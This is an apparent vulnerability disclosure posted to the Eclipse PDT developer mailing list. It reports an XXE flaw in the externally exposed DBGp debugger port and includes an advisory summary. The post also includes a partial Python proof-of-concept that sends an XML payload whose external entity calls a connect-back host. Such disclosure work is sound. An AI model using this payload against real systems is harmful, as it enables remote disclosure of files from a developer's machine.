Skip to main content

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index] [List Home]
[pdt-dev] XXE in PDT

Hey guys,

I was setting up Xdebug today using PDT in Eclipse and found that Xdebug exposes a port for for the DBG protocol which is kool and all, but there is no option to specify which interface it's bound too, which means its exposed externally.

Now I normally wouldn't care, but I had a quick look at the spec ( and couldn't help myself to test for an External Entity Reference (XXE) vulnerability against the exposed service and sure enough, its vulnerable.

Attached is the script I used to trigger the XXE. Any questions, let me know.

Kind regards,

Steven Seeley of Qihoo 360 Vulcan Team
Eclipse PHP Development Tools DBGP XML External Entity Processing Information Disclosure Vulnerability
Date: 17/6/2021
Status: Reported to the vendor
CVSS: 7.5 (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

# Summary:

This vulnerability allows remote attackers to disclose sensitive information on affected installations of Eclipse PHP Development Tools. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the DBG protocol. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of user running Eclipse.

import sys
import socket

if __name__ == "__main__":
    if(len(sys.argv) < 3):
        print("(+) usage: %s <target> <connectback>" % sys.argv[0])
        print("(+) eg: %s" % sys.argv[0])

    t = sys.argv[1]
    c = sys.argv[2]
    xxe = """<?xml version="1.0" ?>
<!ENTITY % si SYSTEM "http://%s/xxe";>
]>""" % c
    data  = str(len(xxe))
    data += "\x00"
    data += xxe
    data += "\x00"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((t, 9000)) # default port, but yours maybe different

Attachment: OpenPGP_signature
Description: OpenPGP digital signature

Back to the top